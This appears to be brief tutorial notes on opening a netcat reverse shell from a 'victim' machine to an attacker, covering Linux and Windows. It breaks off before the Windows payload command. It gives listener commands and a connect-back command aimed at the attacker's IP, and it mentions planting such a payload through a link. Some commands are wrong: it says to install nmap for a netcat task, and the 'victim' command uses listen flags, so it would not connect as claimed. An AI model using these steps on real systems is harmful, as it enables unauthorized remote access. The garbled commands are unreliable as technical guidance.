Make sure nmap is installed on the target and source machines
Windows
Linux
sudo apt-get install nmap
Run the following command on the source machine to listen for traffic on a specified port. (linux)
nc -lnvp 87
On the victim machine run the following command to connect to the source machine over port 87. (Linux Target)
nc -lvnp 87 -s <IP ADDRESS>
Note: This command is an example of a payload. A script that runs this command can be put onto a machine through a link etc. In the Metasploit project we will look into more advanced payloads(.
Attacking a Windows Machine
Command to listen on port 87 for Windows traffic.
stty raw -echo; (stty size; cat) | nc -lvnp 87
Pass the following command to start the reverse shell and connect to the attacker.